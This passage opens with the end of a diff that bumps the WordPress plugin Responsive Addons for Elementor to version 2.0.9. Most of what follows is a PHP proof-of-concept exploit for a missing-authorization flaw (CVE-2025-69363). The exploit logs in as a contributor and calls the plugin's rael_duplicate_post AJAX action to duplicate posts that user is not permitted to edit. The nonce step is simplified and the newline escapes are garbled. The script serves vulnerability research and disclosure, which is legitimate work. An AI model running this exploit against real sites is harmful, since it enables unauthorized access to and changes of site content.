 						<?php echo esc_html( $slide['content'] ); ?>
 					</div>
--- a/responsive-addons-for-elementor/responsive-addons-for-elementor.php
+++ b/responsive-addons-for-elementor/responsive-addons-for-elementor.php
@@ -3,7 +3,7 @@
  * Plugin Name: Responsive Addons for Elementor
  * Plugin URI:  https://cyberchimps.com/responsive-addons-for-elementor/
  * Description: Responsive Addons for Elementor plugin adds Elementor widgets and seamlessly integrates with any Elementor Package (Free, Pro). It is compatible with all popular WordPress themes.
- * Version:     2.0.8
+ * Version:     2.0.9
  * Author:      Cyberchimps.com
  * Author URI:  https://cyberchimps.com/responsive-addons-for-elementor/
  * License:     GPL v2 or later
@@ -22,7 +22,7 @@
 	exit;
 }

-define( 'RAEL_VER', '2.0.8' );
+define( 'RAEL_VER', '2.0.9' );
 define( 'RAEL_DIR', plugin_dir_path( __FILE__ ) );
 define( 'RAEL_URL', plugins_url( '/', __FILE__ ) );
 define( 'RAEL_PATH', plugin_basename( __FILE__ ) );

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69363 - Responsive Addons for Elementor <= 2.0.8 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-69363
 * Requires Contributor-level WordPress credentials
 * Demonstrates unauthorized post duplication via AJAX endpoint
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$target_post_id = 123; // ID of post to duplicate (should not be editable by contributor)

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Extract login nonce (simplified - real implementation would parse HTML)
// WordPress uses 'log' and 'pwd' parameters for login

// Step 2: Authenticate to WordPress
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 3: Exploit missing authorization via AJAX endpoint
// The vulnerable endpoint is /wp-admin/admin-ajax.php with action=rael_duplicate_post
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create nonce for the duplicate action (required by the plugin)
// In real exploitation, the attacker would obtain this nonce from the admin interface
// or from the rae_get_duplicate_link function output
$nonce = 'rael_duplicate_post_' . $target_post_id;

$exploit_params = [
    'action' => 'rael_duplicate_post',
    'post' => $target_post_id,
    '_wpnonce' => $nonce
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_params);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);

// Step 4: Check if duplication was successful
if (strpos($response, 'admin.php?post=') !== false || strpos($response, 'post duplicated') !== false) {
    echo "[SUCCESS] Post #$target_post_id duplicated without proper authorizationn";
    echo "Response: " . htmlspecialchars(substr($response, 0, 500)) . "n";
} else {
    echo "[FAILED] Exploit attempt blocked or failedn";
    echo "Response: " . htmlspecialchars(substr($response, 0, 500)) . "n";
}

// Alternative exploitation via bulk actions (admin interface)
echo "nAlternative method: Bulk action duplication via /wp-admin/edit.phpn";
echo "Contributor users can access bulk actions menu and select 'Duplicate'n";
echo "for posts they should not have permission to edit.n";

curl_close($ch);
?>